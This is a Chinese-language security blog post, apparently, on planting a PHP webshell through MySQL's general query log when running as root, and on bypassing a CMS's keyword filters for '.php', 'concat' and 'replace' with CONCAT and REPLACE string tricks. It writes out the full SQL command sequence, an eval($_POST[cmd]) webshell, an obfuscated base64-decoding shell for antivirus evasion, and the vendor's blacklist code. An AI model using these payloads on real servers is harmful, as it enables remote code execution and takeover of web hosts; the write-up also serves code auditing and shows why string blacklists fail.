0x01 基本原理
在能够写SQL语句的地方,outfile、dumpfile、drop database等都被禁止,一般进行SQL注入来getshell或删库的方式行不通了。
但是如果MySQL是root用户启动的,那么可以进行如下利用:
1 2 3 4 5 6 7
| show variables like '%general%';
set global general_log = on;
set global general_log_file = '/var/www/html/1.php';
select '<?php eval($_POST[cmd]);?>'
|
SQL查询免杀shell的语句(参考:SQL语句利用日志写shell):
1
| SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['username']));?>"
|
0x02 Bypass案例
这个案例虽然鸡肋,但是思路还可以。
过滤 .php
代码审计某CMS时,看到一处写SQL语句的地方,此处之前报过漏洞,修复方案是过滤了outfile、dumpfile、drop database等,此外还过滤了.php
字符串,为的就是防住SQL语句日志写shell:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| if(stristr($sql, 'outfile')){ $str = '<span class="c-red">ERROR : 检测到非法字符 “outfile”!</span>'; break; } if(stristr($sql, 'dumpfile')){ $str = '<span class="c-red">ERROR : 检测到非法字符 “dumpfile”!</span>'; break; } if(stristr($sql, '.php')){ $str = '<span class="c-red">ERROR : 检测到非法字符 “.php” !</span>'; break; } if(preg_match("/^drop(.*)database/i", $sql)){ $str = '<span class="c-red">ERROR : 不允许删除数据库!</span>'; break; }
|
这里直接写上述的SQL语句肯定是不行的,因为set global general_log_file = '/var/www/html/1.php';
的.php
会被过滤掉。
这里只是针对字符串的检测,可以用字符串拼接的方式Bypass,这里可以使用SQL语句中的concat家族系列函数来实现字符串拼接来Bypass:
1 2 3 4 5 6 7
| show variables like '%general%';
set global general_log = on;
set global general_log_file =CONCAT("/var/www/html/1.","php");
select '<?php eval($_POST[cmd]);?>';
|
过滤 .php和concat
在这次报过的漏洞之后,CMS厂商修改了这个洞,就是添加了对concat的字符串过滤,这样concat家族系列函数就使不上了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| if(stristr($sql, 'outfile')){ $str = '<span class="c-red">ERROR : 检测到非法字符 “outfile”!</span>'; break; } if(stristr($sql, 'dumpfile')){ $str = '<span class="c-red">ERROR : 检测到非法字符 “dumpfile”!</span>'; break; } if(stristr($sql, '.php')){ $str = '<span class="c-red">ERROR : 检测到非法字符 “.php” !</span>'; break; } if(stristr($sql, 'concat')){ $str = '<span class="c-red">ERROR : 检测到非法字符 “concat” !</span>'; break; } if(preg_match("/^drop(.*)database/i", $sql)){ $str = '<span class="c-red">ERROR : 不允许删除数据库!</span>'; break; }
|
使用concat进行字符串拼接的方式没法绕过了,但是除了字符串拼接,我们还能使用字符串替换的操作来绕过:
1 2 3 4 5 6 7
| show variables like '%general%';
set global general_log = on;
set global general_log_file =REPLACE("/var/www/html/1.jpg","jpg","php");
select '<?php eval($_POST[cmd]);?>';
|
过滤 .php、concat和replace
CMS厂商收到新的绕过漏洞报告后,又进行新一轮的修复,过滤了replace:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| if(stristr($sql, 'outfile')){ $str = '<span class="c-red">ERROR : 检测到非法字符 “outfile”!</span>'; break; } if(stristr($sql, 'dumpfile')){ $str = '<span class="c-red">ERROR : 检测到非法字符 “dumpfile”!</span>'; break; } if(stristr($sql, '.php')){ $str = '<span class="c-red">ERROR : 检测到非法字符 “.php” !</span>'; break; } if(stristr($sql, 'concat')){ $str = '<span class="c-red">ERROR : 检测到非法字符 “concat” !</span>'; break; } if(stripos($sql, 'replace')){ $str = '<span class="c-red">ERROR : 检测到非法字符 “replace” !</span>'; break; } if(preg_match("/^drop(.*)database/i", $sql)){ $str = '<span class="c-red">ERROR : 不允许删除数据库!</span>'; break; }
|
字符串拼接和替换都不能成功进行利用了,还有啥办法不?
当然还有新的Bypass方法哈哈。